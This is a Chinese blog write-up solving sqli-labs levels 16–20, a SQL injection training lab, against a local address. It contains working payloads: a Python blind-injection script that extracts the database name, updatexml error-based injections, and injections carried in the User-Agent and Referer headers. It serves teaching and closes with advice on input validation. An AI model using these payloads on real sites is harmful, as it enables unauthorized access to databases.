QQ love member No. 3 seed player

know it then do it && APT086&QQ愛安全实验室成员

sqli-labs-第16关->第20关

03 Sep 2019 » security

[TOC]

接着上篇:传送门

sqli-labs 第16关

先查看源代码

sqli-labs-16

直接闭合掉前面的 RT:

POST:http://192.168.1.102/sqli-labs/Less-16/

uname=a") or 1=1#

sqli-labs-16-1

输出脚本 RT


import requests

sql_url = "http://192.168.1.102/sqli-labs/Less-16/"

for j in range(9): # 前面知道了数据库长度为8位

    for i in range(97, 123):  # ascii 码值 a-z : 97-122

        re = requests.request("POST",url=sql_url,data={"uname":"1\") or ord(mid((select database()),{},1))={}#".format(j,i),"passwd":"1"})

        if "flag.jpg" in re.text:

            print(chr(i))

sqli-labs-16-2

SQL语句解析

1' or ord(mid((select database()),1,1))={}#

select database();  -- 当前数据库名称 "security"
select mid((select database()),1,1);  -- mid() 截断从第一位往后截断一个 "s"
select ord("s");    -- 将 "s" 转换成ascci码 115

print(chr(i))  # 在python中chr方法将 "i" ascci码值转换成对应的字符。

sqli-labs 第17关

先看源代码 RT:

sqli-labs-17

sqli-labs-17-1

直接使用报错注入 RT

uname=admin
passwd=1' or (updatexml(1,concat(0x3a,(select database())),1))#

sqli-labs-17-2

sqli-labs 第18关

看源码 RT:

sqli-labs-18

sqli-labs-18-1

上面首先uname 和 passwd 参数都进行严格的校验,进行了账号密码是否正确的判断,正确的话则向 uagents 表下插入上面接收的 $uagent / $IP / $uname 其中 $uagent$IP 没有做任何的校验,可以直接注入,如图:

User-Agent: 1' or updatexml(1,concat(0x3a,(database())),0),'','')#

sqli-labs-18-2

sqli-labs 第19关

查看源代码

sqli-labs-19

跟上一关是一样的唯一不同的点是 $uagent 变量获取的是 HTTP 协议头 Referer

$uagent$ip 变量没有进行任何校验,两个都可以注入,这里使用uagent参数来示范,($ip 变量获取的是HTTP协议中的 X-Forwarded-For 协议头 )RT:

Referer: 1' or updatexml(1,concat(0x3a,(database())),0),'','')#

sqli-labs-19-1

sqli-labs 第20关

直接查看源代码 RT:

sqli-labs-20

发现做了严格的校验,拼接的sql中并没有发现敏感的参数,发现事情没有那么简单

看下图:

sqli-labs-20-1

emmmm…. 都懂吧。。。直接上图了。

sqli-labs-20-2

sqli-labs-20-3

sqli-labs-20-4

总结

没啥总结的,认真校验任何与sql语句拼接的参数可有效防止SQL注入的产生,回家吃手抓饼去了。😁


「 转载请声明博客地址及APT086&QQ愛安全实验室 」